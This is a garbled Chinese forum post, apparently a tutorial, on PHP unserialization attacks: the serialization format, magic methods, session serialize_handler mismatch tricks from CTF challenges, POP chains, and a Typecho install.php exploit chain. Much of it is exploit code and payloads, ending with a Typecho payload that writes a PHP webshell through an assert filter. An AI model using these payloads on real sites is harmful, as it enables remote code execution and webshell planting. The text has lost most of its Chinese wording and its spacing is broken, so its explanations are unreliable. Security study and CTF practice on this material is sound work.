[19336] 2018-06-12_PHP反序列化总结

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2018-06-12_PHP反序列化总结 P H P i   2 0 1 8 - 0 6 - 1 2 H o r s e _ B l a c k i 1 . 1 . 1 ( ) ( ) 使 1 . 2 p h p ( ) S e r i a l i z e U n s e r i a l i z e j s o n _ e n c o d e j s o n _ d e c o d e 1 . 3 a   -   a r r a y a : < l e n g t h > : { k e y , v a l u e   p a i r s }   a : 1 : { i : 1 ; s : 1 : " a " ; } b   -   b o o l e a n d   -   d o u b l e i   -   i n t e g e r o   -   o b j e c t : O : < c l a s s _ n a m e _ l e n g t h > : " < c l a s s _ n a m e > " : < n u m b e r _ o f _ p r o p e r t i e s > : { < p r o p e r t i e s > } ; O : 6 : " p e r s o n " : 3 : { s : 4 : " n a m e " ; N ; s : 3 : " a g e " ; i : 1 9 ; s : 3 : " * * " ; N ; }   / / p e r s o n n a m e N u l l a g e 1 9 * * N u l l s   -   s t r i n g s : l e n g t h : " v a l u e " ; s : 1 : " a " ; N   -   n u l l N ; 2 . p h p c o n s t r u c t   d e s t r u c t   t o S t r i n g 使 s l e e p : ( ) w a k e u p : c a l l :
g e t : h t t p : / / p h p . n e t / m a n u a l / z h / l a n g u a g e . o o p 5 . m a g i c . p h p 3 . p h p _ s e s s i o n 3 . 1   p h p _ s e s s i o n p h p _ b i n a r y : A S C I I + + s e r i a l i z e ( )     p h p : + 线 + s e r i a l i z e ( ) p h p _ s e r i a l i z e ( p h p > 5 . 5 . 4 ) : s e r i a l i z e ( ) p h p _ i n i s e s s i o n . s e r i a l i z e _ h a n d l e r ( P H P _ I N I _ A L L )   i n i _ s e t ( ' s e s s i o n . s e r i a l i z e _ h a n d l e r ' ,   ' p h p ' ) ; < ? p h p i n i _ s e t ( ' s e s s i o n . s e r i a l i z e _ h a n d l e r ' ,   ' p h p ' ) ; s e s s i o n _ s t a r t ( ) ; $ _ S E S S I O N [ ' a ' ]   =   $ _ G E T [ ' a ' ] ;   v a r _ d u m p ( $ _ S E S S I O N ) ; ? > ? a = O : 4 : " p a s s " : 0 : { } p h p a | s : 1 5 : " O : 4 : " p a s s " : 0 : { } " ; p h p _ s e r i a l i z e a : 1 : { s : 1 : " a " ; s : 1 5 : " O : 4 : " p a s s " : 0 : { } " ; } p h p _ b i n a r y ( . . ) 3 . 2 . p h p _ i n i p h p _ s e s s i o n s e s s i o n . s a v e _ p a t h   =   " "   / / s e s s i o n s e s s i o n . a u t o _ s t a r t   =   b o o l e n   / / 0 ( ) s e s s i o n . s e r i a l i z e _ h a n d l e r   =   s t r i n g   / / < ! - - # # # # #   3 . 3 . p h p i n f o   - - >
1   u n s e r i l i z e d e m o 1 b u g k u d e m o h t t p : / / 1 2 0 . 2 4 . 8 6 . 1 4 5 : 8 0 0 6 / t e s t 1 / < s c r i p t   l a n g u a g e = " p h p " > c l a s s   F l a g {   / / f l a g . p h p         p u b l i c   $ f i l e ;         p u b l i c   f u n c t i o n   _ _ t o s t r i n g ( ) {                 i f ( i s s e t ( $ t h i s - > f i l e ) ) {                         e c h o   f i l e _ g e t _ c o n t e n t s ( $ t h i s - > f i l e ) ;                         e c h o   " < b r   / > " ;                 r e t u r n   ( " g o o d " ) ;                 }         } } $ p a s s w o r d   =   u n s e r i a l i z e ( $ _ G E T [ ' p a s s w o r d ' ] ) ;     e c h o   $ p a s s w o r d ;       < / s c r i p t > 使 _ _ t o s t r i n g ( ) p a s s w o r d e c h o   $ p a s s w o r d   p a y l o a d < s c r i p t   l a n g u a g e = " p h p " > c l a s s   F l a g {   / / f l a g . p h p         p u b l i c   $ f i l e ;         p u b l i c   f u n c t i o n   _ _ t o s t r i n g ( ) {                 i f ( i s s e t ( $ t h i s - > f i l e ) ) {                         e c h o   f i l e _ g e t _ c o n t e n t s ( $ t h i s - > f i l e ) ;                         e c h o   " < b r   / > " ;                 r e t u r n   ( " g o o d " ) ;                 }         } } $ o b j   =   n e w   F l a g ( ) ; $ o b j - > f i l e   =   " F l a g . p h p " ;     e c h o   s e r i a l i z e ( $ o b j ) ;   < / s c r i p t > O : 4 : " F l a g " : 1 : { s : 4 : " f i l e " ; s : 8 : " f l a g . p h p " ; } f l a g . p h p d e m o 2 : < s c r i p t   l a n g u a g e = " p h p " > c l a s s   F l a g {   / / f l a g . p h p         p u b l i c   $ f i l e ;         p u b l i c   f u n c t i o n   _ _ w a k e u p ( ) {                 i f ( i s s e t ( $ t h i s - > f i l e ) ) {                         e c h o   f i l e _ g e t _ c o n t e n t s ( $ t h i s - > f i l e ) ;                 }         } } u n s e r i a l i z e ( $ _ G E T [ ' p a s s w o r d ' ] ) ;       < / s c r i p t >
_ _ w a k e u p ( ) p a y l o a d d e m o 1     h t t p : / / l o c a l h o s t : 9 0 9 6 / t e s t 1 . p h p ? p a s s w o r d = O : 4 : " F l a g " : 1 : { s : 4 : " f i l e " ; s : 8 : " f l a g . p h p " ; } f l a g . p h p     _ _ c o n s t r u c t _ _ d e s t r u c t       2   p h p   s e s s i o n C T F : h t t p : / / w e b . j a r v i s o j . c o m : 3 2 7 8 4 / < ? p h p / / A   w e b s h e l l   i s   w a i t   f o r   y o u i n i _ s e t ( ' s e s s i o n . s e r i a l i z e _ h a n d l e r ' ,   ' p h p ' ) ; s e s s i o n _ s t a r t ( ) ; c l a s s   O o w o O {         p u b l i c   $ m d z z ;         f u n c t i o n   _ _ c o n s t r u c t ( )         {                 $ t h i s - > m d z z   =   ' p h p i n f o ( ) ; ' ;         }         f u n c t i o n   _ _ d e s t r u c t ( )         {                 e v a l ( $ t h i s - > m d z z ) ;         }   } i f ( i s s e t ( $ _ G E T [ ' p h p i n f o ' ] ) )   {         $ m   =   n e w   O o w o O ( ) ;   } e l s e {         h i g h l i g h t _ s t r i n g ( f i l e _ g e t _ c o n t e n t s ( ' i n d e x . p h p ' ) ) ;   } ? > . . . .   . . . w p . . . . .   . . .     p h p i n f o     s e s s i o n . s e r i a l i z e _ h a n d l e r   =   p h p _ s e r i l i z e i n i _ s e t ( ' s e s s i o n . s e r i a l i z e _ h a n d l e r ' ,   ' p h p ' ) ; P H P a s e s s i o n | s e r i a l i z e
p h p _ s e r i a l i z e p h p _ s e r i a l i z e   |   p h p _ s e r i a l i z e | O : 4 : " p a s s " : 0 : { } p h p [ " a : 1 : { s : 1 : " a " ; s : 1 6 : " " ] t e s t d e m o 3 ( ) < ? p h p / / i n i _ s e t ( ' s e s s i o n . s e r i a l i z e _ h a n d l e r ' ,   ' p h p ' ) ; s e s s i o n _ s t a r t ( ) ; $ _ S E S S I O N [ ' a ' ]   =   $ _ G E T [ ' a ' ] ; ? >
1 . p h p _ i n i s e s s i o n . s e r i a l i z e _ h a n d l e r   =   p h p _ s e r i a l i z e 访 访 h t t p : / / l o c a l h o s t : 9 0 9 6 / t e s t 1 . p h p ? a = | O : 4 : " t e s t " : 0 : { } , s e s s i o n 2 . $ _ S E S S I O N [ ' a ' ]   =   $ _ G E T [ ' a ' ] ; p h p p h p _ s e r i a l i z e | p h p _ s e r i a l i z e s e s s i o n p h p | " " s e s s i o n ( p h p _ s e r i a l i z e ) p h p $ m d z z d e m o 4 t e s t 1 . p h p < ? p h p i n i _ s e t ( ' s e s s i o n . s e r i a l i z e _ h a n d l e r ' ,   ' p h p ' ) ; s e s s i o n _ s t a r t ( ) ; / / $ _ S E S S I O N [ ' a ' ]   =   $ _ G E T [ ' a ' ] ; v a r _ d u m p ( $ _ S E S S I O N ) ; c l a s s   T e s t {         f u n c t i o n   _ _ c o n s t r u c t ( ) {                 e c h o   " _ _ c o n s t r c t " ;         }         f u n c t i o n   _ _ d e s t r u c t ( ) {                 e c h o   " _ _ d e s t r u c t " ;                 e v a l ( p h p i n f o ( ) ) ;                       }   } ? > p h p _ s e r i l i z e s e s s i o n a : 1 : { s : 1 : " a " ; s : 1 6 : " | O : 4 : " T e s t " : 0 : { } 访 t e s t 1 . p h p e v a l   s e s s i o n | p h p _ s e r i l i z e ' | '   p h p ' | ' | ' s e s s i o n p h p s e s s i o n s e s s i o n _ s t a r t p h p . . .
s e s s i o n C T F s e s s i o n s e s s i o n 1 . s e s s i o n h t t p s : / / b u g s . p h p . n e t / b u g . p h p ? i d = 7 1 1 0 1 p h p . i n i s e s s i o n . u p l o a d _ p r o g r e s s . e n a b l e d   =   O n P H P s e s s i o n . u p l o a d _ p r o g r e s s . n a m e   I N I P O S T $   _ S E S S I O N P O S T s e s s i o n . u p l o a d _ p r o g r e s s . n a m e P H P $ _ S E S S I O N < f o r m a c t i o n   = h t t p : / / w e b . j a r v i s o j . c o m : 3 2 7 8 4 / i n d e x . p h p m e t h o d   = P O S T e n c t y p e   = m u l t i p a r t / f o r m - d a t a >         < i n p u t t y p e = h i d d e n n a m e   = P H P _ S E S S I O N _ U P L O A D _ P R O G R E S S v a l u e   = 1 / >         < i n p u t   t y p e   = f i l e n a m e   = f i l e / >         < i n p u t   t y p e   = s u b m i t / > < / f o r m > < ? p h p i n i _ s e t ( ' s e s s i o n . s e r i a l i z e . h a n d l e r ' , ' p h p ' ) ; s e s s i o n _ s t a r t ( ) ; c l a s s   O o w o O {         p u b l i c   $ m d z z   =   ' p a y l o a d ' ; } $ o b j     =   n e w   O o w o O ( ) ; e c h o   s e r i a l i z e ( $ o b j ) ; ? > 使 e v a l ( ) < ! - -   # # # 2   - - > p o p 1 . P O P P H P " " P O P (   P r o p e r t y   O r i e n t e d   P r o g r a m m i n g ) C T F e v a l ( ) _ _ d e s t r u c t e v a l ( )   d e m o 5 ( )
< ? p h p c l a s s   O o w o O {         p r o t e c t e d   $ o b j ;           f u n c t i o n   _ _ d e s t r u c t ( )         {                 / / $ o b j   =   n e w   t e s t 1 ;   $ o b j                 $ t h i s - > o b j - > a ( ) ;         } } c l a s s   t e s t 1 {         f u n c t i o n   a ( ) {                 e c h o   " 1 2 3 " ;               }   } c l a s s   t e s t 2 {         p r i v a t e   $ d a t a ;         f u n c t i o n   a ( ) {                 e v a l ( $ t h i s - > d a t a ) ;                 }   }   u n s e r i a l i z e ( $ _ G E T [ ' a ' ] ) ; ? >   < s c r i p t   l a n g u a g e = " p h p " > c l a s s   O o w o O {         p r o t e c t e d   $ o b j ;         p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                 $ t h i s - > o b j   =   n e w   t e s t 2 ( ) ;           }   } c l a s s   t e s t 2 {         p r i v a t e $ d a t a =   " p h p i n f o ( ) ; " ;   } e c h o   u r l e n c o d e ( s e r i a l i z e ( n e w   O o w o O ( ) ) ) ; < / s c r i p t > p r i v a t e p u b l i c p r o t e c t e d p r i v a t e u r l e n c o d e p a y l o a d d e m o 6 < ? p h p c l a s s   t e s t {         p r i v a t e   $ a = " a " ;         p r o t e c t e d   $ b = " b " ;         p u b l i c   $ c = " c " ; } e c h o   u r l e n c o d e ( s e r i a l i z e ( n e w   t e s t ( ) ) ) ; ? >
( ) A d e m o 5 A A 2 . t y p e c h o i n s t a l l . p h p 2 8 3 : $ c o n f i g = u n s e r i a l i z e ( b a s e 6 4 _ d e c o d e ( T y p e c h o _ C o o k i e : : g e t ( ' _ _ t y p e c h o _ c o n f i g ' ) ) ) ; $ t y p e   =   e x p l o d e ( ' _ ' ,   $ c o n f i g [ ' a d a p t e r ' ] ) ; $ t y p e   =   a r r a y _ p o p ( $ t y p e ) ; $ i n s t a l l D b   =   n e w   T y p e c h o _ D b ( $ c o n f i g [ ' a d a p t e r ' ] ,   $ c o n f i g [ ' p r e f i x ' ] ) ; $ i n s t a l l D b - > a d d S e r v e r ( $ c o n f i g ,   T y p e c h o _ D b : : R E A D   |   T y p e c h o _ D b : : W R I T E ) ; c o o k i e _ _ t y p e c h o _ c o n f i g T y p e c h o D b   _ _ c o n s t r u c t _ _ d e s t r u c t _ w a k e u p   / v a r / T y p e c h o / D b . p h p T y p e c h o _ D b 1 1 4 _ c o n s t r u c t ( 1 ) $ a d a p t e r N a m e   _ t o s t r i n g ( ) p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( $ a d a p t e r N a m e ,   $ p r e f i x   =   ' t y p e c h o _ ' ) {         $ t h i s - > _ a d a p t e r N a m e = $ a d a p t e r N a m e ;         $ a d a p t e r N a m e = ' T y p e c h o _ D b _ A d a p t e r _ '   .   $ a d a p t e r N a m e ;   1 3 4 $ a d a p t e r N a m e _ _ t o s t r i n g ( 2 ) $ t h i s - > _ a d a p t e r   =   n e w   $ a d a p t e r N a m e ( ) ; _ _ t o s t r i n g / v a r / T y p e c h o / F e e d . p h p T y p e c h o _ F e e d _ _ t o s t r i n g ( 2 ) 2 9 0 f o r e a c h   ( $ t h i s - > _ i t e m s   a s   $ i t e m )   {         $ c o n t e n t   . =   ' < e n t r y > '   .   s e l f : : E O L ;         $ c o n t e n t   . =   ' < t i t l e   t y p e = " h t m l " > < ! [ C D A T A [ '   .   $ i t e m [ ' t i t l e ' ]   .   ' ] ] > < / t i t l e > '   .   s e l f : : E O L ;         $ c o n t e n t   . =   ' < l i n k   r e l = " a l t e r n a t e "   t y p e = " t e x t / h t m l "   h r e f = " '   .   $ i t e m [ ' l i n k ' ]   .   ' "   / > '   .   s e l f : : E O L ;         $ c o n t e n t   . =   ' < i d > '   .   $ i t e m [ ' l i n k ' ]   .   ' < / i d > '   .   s e l f : : E O L ;         $ c o n t e n t   . =   ' < u p d a t e d > '   .   $ t h i s - > d a t e F o r m a t ( $ i t e m [ ' d a t e ' ] )   .   ' < / u p d a t e d > '   .   s e l f : : E O L ;         $ c o n t e n t = ' < p u b l i s h e d > '   .   $ t h i s - > d a t e F o r m a t ( $ i t e m [ ' d a t e ' ] )   .   ' < / p u b l i s h e d > '   .   s e l f : : E O L ;         $ c o n t e n t   . =   ' < a u t h o r >   < n a m e > '   .   $ i t e m [ ' a u t h o r ' ] - > s c r e e n N a m e   .   ' < / n a m e >   < u r i > '   .   $ i t e m [ ' a u t h o r ' ] - > u r l   .   ' < / u r i >   < / a u t h o r > '   .   s e l f : : E O L ; $ i t e m [ ' a u t h o r ' ] s c r e e n N a m e _ _ g e t ( 3 )     / v a r / T y p e c h o / R e q u e s t . p h p T y p e c h o _ R e q u e s t     _ _ g e t ( 3 ) 2 2 6 p u b l i c   f u n c t i o n   _ _ g e t ( $ k e y ) {         r e t u r n   $ t h i s - > g e t ( $ k e y ) ; } g e t 2 9 5
u b l i c   f u n c t i o n   g e t ( $ k e y ,   $ d e f a u l t   =   N U L L ) {         s w i t c h   ( t r u e )   {                 c a s e   i s s e t ( $ t h i s - > _ p a r a m s [ $ k e y ] ) :                         $ v a l u e   =   $ t h i s - > _ p a r a m s [ $ k e y ] ;                         b r e a k ;                 c a s e   i s s e t ( s e l f : : $ _ h t t p P a r a m s [ $ k e y ] ) :                         $ v a l u e   =   s e l f : : $ _ h t t p P a r a m s [ $ k e y ] ;                         b r e a k ;                 d e f a u l t :                         $ v a l u e   =   $ d e f a u l t ;                         b r e a k ;         }         $ v a l u e   =   ! i s _ a r r a y ( $ v a l u e )   & &   s t r l e n ( $ v a l u e )   >   0   ?   $ v a l u e   :   $ d e f a u l t ;         r e t u r n   $ t h i s - > _ a p p l y F i l t e r ( $ v a l u e ) ; } _ a p p l y F i l t e r ( ) , 1 5 9 : p r i v a t e   f u n c t i o n   _ a p p l y F i l t e r ( $ v a l u e ) {         i f   ( $ t h i s - > _ f i l t e r )   {                 f o r e a c h   ( $ t h i s - > _ f i l t e r   a s   $ f i l t e r )   {                         $ v a l u e   =   i s _ a r r a y ( $ v a l u e )   ?   a r r a y _ m a p ( $ f i l t e r ,   $ v a l u e )   :                         c a l l _ u s e r _ f u n c ( $ f i l t e r ,   $ v a l u e ) ;                 } c a l l _ u s e r _ f u n c ( $ f i l t e r , $ v a l u e )     $ v a l u e T y p e c h o _ R e q u e s t $ _ p a r a m s $ f i l t e r 1 2 0 p r i v a t e   $ _ f i l t e r   =   a r r a y ( ) ; _ _ g e t ( 3 ) $ _ i t e m s T y p e c h o _ F e e d $ a d a p t e r _ _ t o s t r i n g ( 2 ) _ c o n s t r u c t ( 1 ) A r r a y (         [ a d a p t e r ]   = >   T y p e c h o _ F e e d   O b j e c t                 (                         [ _ t y p e : T y p e c h o _ F e e d : p r i v a t e ]   = >   R S S   2 . 0                         [ _ v e r s i o n : T y p e c h o _ F e e d : p r i v a t e ]   = >   1                       [ _ c h a r s e t : T y p e c h o _ F e e d : p r i v a t e ]   = >   U T F - 8                         [ _ l a n g : T y p e c h o _ F e e d : p r i v a t e ]   = >   e n                         [ _ i t e m s : T y p e c h o _ F e e d : p r i v a t e ]   = >   A r r a y   / / $ _ i t e m s s                                 (                                       [ 0 ]   = >   A r r a y     / / $ i t e m                                                 (                                                         [ a u t h o r ]   = >   T y p e c h o _ R e q u e s t   O b j e c t   / / $ i t e m [ ' a u t h o r ' ] _ _ g e t ( )                                                                 (                                                                       [ _ p a r a m s : T y p e c h o _ R e q u e s t : p r i v a t e ]   = >   A r r a y                                                                                 (                                                                                         [ s c r e e n N a m e ]   = >   f i l e _ p u t _ c o n t e n t s ( ' P a s s e r 6 y . p h p ' ,   ' < ? p h p   e v a l ( $ _ P O S T [ 1 ] ) ; ? > ' )                                                                                 )                                                                         [ _ f i l t e r : T y p e c h o _ R e q u e s t : p r i v a t e ]   = >   A r r a y                                                                                 (                                                                                       [ 0 ]   = >   a s s e r t                                                                                 )                                                               )                                                 )                                   )                 )             [ p r e f i x ]   = >   t h 1 s E X P ( c o p y   f r o m   P h 0 r s e )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则